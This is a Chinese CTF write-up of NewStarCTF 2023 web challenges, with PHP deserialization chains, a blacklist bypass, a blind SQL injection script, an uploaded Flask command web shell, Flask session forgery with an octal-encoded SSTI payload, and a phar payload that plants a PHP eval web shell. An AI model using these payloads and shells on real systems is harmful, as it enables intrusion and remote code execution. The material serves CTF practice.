目录
[More Fast](#More Fast)
[flask disk](#flask disk)
之前没写完的题继续
week3
R!!!C!!!E!!!
php
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
ban掉了很多的命令,最终的命令执行是无回显的,但是反弹shell的很多都被ban掉了,
tee也被ban了,但是单引号还在,利用他绕过 t''ee 照样可以执行
构造payload
php
<?php
class minipop
{
public $code;
public $qwejaskdjnlka;
}
$a=new minipop();
$a->qwejaskdjnlka=new minipop();
$a->qwejaskdjnlka->code="ls / | t''ee 1";
echo serialize($a);
要注意一下 $a->qwejaskdjnlka->code="ls / | t''ee 2";
不是直接 $a->code="ls /| t''ee 2";
然后访问一下 1
再稍微改一下命令
$a->qwejaskdjnlka->code="cat /flag_is_h3eeere | t''ee 2";
得到flag
week4
More Fast
php
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
pop链:
Start __destruct --\>Crypto __toString -\>Reverse __get -\> Pwn __invoke -\>Web evil()
php
<?php
// [NewStarCTF 2023 公开赛道]More Fast
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
//class Misc{
// public function evil() {
// echo "good job but nothing";
// }
//}
//$a = @unserialize($_POST['fast']);
//throw new Exception("Nope");
//pop链:
// Start __destruct -->Crypto __toString ->Reverse __get -> Pwn __invoke ->Web evil()
$a=new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$a->errMsg->obj->func->obj->func='system';
$a->errMsg->obj->func->obj->var='cat /f*';
//echo serialize($a);
//O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
$b=array($a,0);
echo serialize($b);
//a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:1;i:0;}
//通过使数组对象为空,绕过throw
直接序列化是不行的,还需要绕过 throw new Exception("Nope");
通过使数组对象为 NULL从而绕过
就是将 i:1 ---> i:0
2023Newstarctf week4 More Fast详解_ctfmore fast-CSDN博客
midsql
经过测试,可以发现过滤了空格,也没有回显
1/**/adn/**/sleep(4)
可以发现执行相对于之前有很明显的延迟,可以时间盲注
借用其他师傅的脚本,但是运行出来的结果都不对劲啊,也不晓得是啥原因,先放着,后面再搞
NewStar2023 Week4 | S3a's blog
python
#[NewStarCTF 2023 公开赛道]midsql
import time
import requests
result = ''
last = ' '
for i in range(1, 1000):
for j in range(127, 31, -1):
url = 'http://2d353013-f4bd-4846-8e4d-a0bc0a051962.node5.buuoj.cn:81/?id='
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
# payload = f'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/items),{i},1))>{j}),sleep(4),0)'
url = url + payload
# print(url)
start_time = time.time()
response = requests.get(url=url)
end_time = time.time()
if (end_time - start_time) >3:
last = result
result += chr(j + 1)
break
print(result)
好像几次运行的结果不太一样,可能需要多运行几次才能得到正确的flag吧
flask disk
可以上传文件,编写一个app.py可以rce的程序上传,将原来的程序覆盖掉,在debug开启的情况下,Flask 会自动重新加载应用程序,就可以直接rce了
[NewStarCTF 2023] web题解_ctf web题 发现多个公司员工email-CSDN博客
别人写好的代码:
端口为5000,是题目已经提示了的,
python
from flask import Flask,request, render_template_string
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd=request.args.get('cmd')
data=os.popen(cmd).read()
return data
except:
pass
return 1
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)
上传后就可以直接命令执行了
flag{138ae525-f61c-4ef2-9b20-d64d71683979}
InjectMe
下载有附件
打开题目可以看到下面有很多张图片,其中一张是这个部分的源码
filename = filename.replace('../', '') 这个可以双写绕过, 从而目录遍历
?file=..././..././..././app/app.py 穿越目录,可以下载一个文件,有源码
python
import os
import re
from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key
app = Flask(__name__)
app.secret_key = secret_key
@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')
@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"
@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)
@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)
@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', port=8080)
还以为直接ssti注入来着,原来还需要 session 伪造,之前还没做过类似的题
需要一个密钥,根据源码可知,密钥存在config.py中
?file=..././..././..././app/config.py 下载文件,拿到密钥
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
session伪造的工具
GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder
利用工具对session解密一下看看
构造相应的ssti注入payload,然后利用工具,得到相应的session,传上去就可以得到flag了
过滤了好多东西,利用八进制绕过
别人写的脚本...
python
import re
import requests
import subprocess
# 把这个下载了,需要使用里面的flask-session-cookie-manager3.py
# https://github.com/noraj/flask-session-cookie-manager
def string_to_octal_ascii(s):
octal_ascii = ""
for char in s:
char_code = ord(char)
octal_ascii += "\\\\" + format(char_code, '03o')
# octal_ascii += "\\\\" + format(char_code, 'o')
return octal_ascii
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
# payload = "{%print(7*7)%}"
# payload = "{%print(\"\"\\\\u005f\\\\u005f\"\")%}"
# payload = "{%print(\"\"\\\\x5f\\\\x5f\"\")%}"
eval_shell = "\"\"" + string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()") + "\"\""
print(eval_shell)
# docker部署&windows运行payload
# {{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
payload = "{{%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}".format(eval_shell)
print(payload)
command = "D:\\program\\python3\\python.exe flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{{'user':'{1}'}}\"".format(secret_key, payload)
print(command)
session_data = subprocess.check_output(command, shell=True)
print(session_data)
# linux和windows换行不一样,linux是去掉最后一个,windows是最后两个。
session_data = session_data[:-2].decode('utf-8')
# session_data = session_data[:-1].decode('utf-8')
print(session_data)
url = "http://0b401771-d36b-47ca-8971-2b9dedf4b9e0.node4.buuoj.cn:81/backdoor"
cookies = {"session": session_data}
res = requests.get(url=url, cookies=cookies)
# print(res.text)
pattern = r'<h1>(.*)</h1>'
result_content = re.search(pattern, res.text, re.S)
# print(result_content)
if result_content:
result = result_content.group(1)
print(result)
else:
print("something wrong!")
主要是这个payload
{'user':'{%print(xxx|attr(""\\137\\137\\151\\156\\151\\164\\137\\137"")|attr(""\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137"")|attr(""\\137\\137\\147\\145\\164\\151\\164\\145\\155\\137\\137"")(""\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137"")|attr(""\\137\\137\\147\\145\\164\\151\\164\\145\\155\\137\\137"")(""\\145\\166\\141\\154"")(""\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\143\\141\\164\\040\\057\\052\\042\\051\\056\\162\\145\\141\\144\\050\\051""))%}'}"
得到相应的session
.eJy1kD0OwjAMhe9iqVK7uYltJM6ShYGBBaFSpEqld6d26v7QDiwsVhK_9_k5Pbye1wbO0BeP5nZvy67r3pe2bcoEKdXx5IVrLeInoVUXqkMLmU-FbNegpfY3iT8SiH3eMtnemDeEnVnnCc_ZaYOxVf6UIatlte4-XQ5hQvQfkvD9swl57KKtkiVxuqICMG-xAHDOJRsvRQ-jeCRtsOHDAS84xRxEjholUFXFAMMHKM2ZMA.Zlhx4A.shEAGQ23cjb3gNorqM9pzt4k9-w
将这个session替换掉原先的session,就可以得到flag了
PharOne
可以上传文件
查看源代码,有class.php
phar文件上传,需要gzip压缩
写好代码
php
<?php
class Flag{
public $cmd;
}
$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST[1]);\">/var/www/html/1.php";
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
$_POST这里得是3个反斜杠,试了一个和两个的,都是报错了,有点莫名奇妙
运行后有一个1.phar,然后gzip命令压缩一下,再更改一下后缀为1.jpg,上传
到class.php 下,利用phar伪协议
file=phar://路径
然后到1.php下执行命令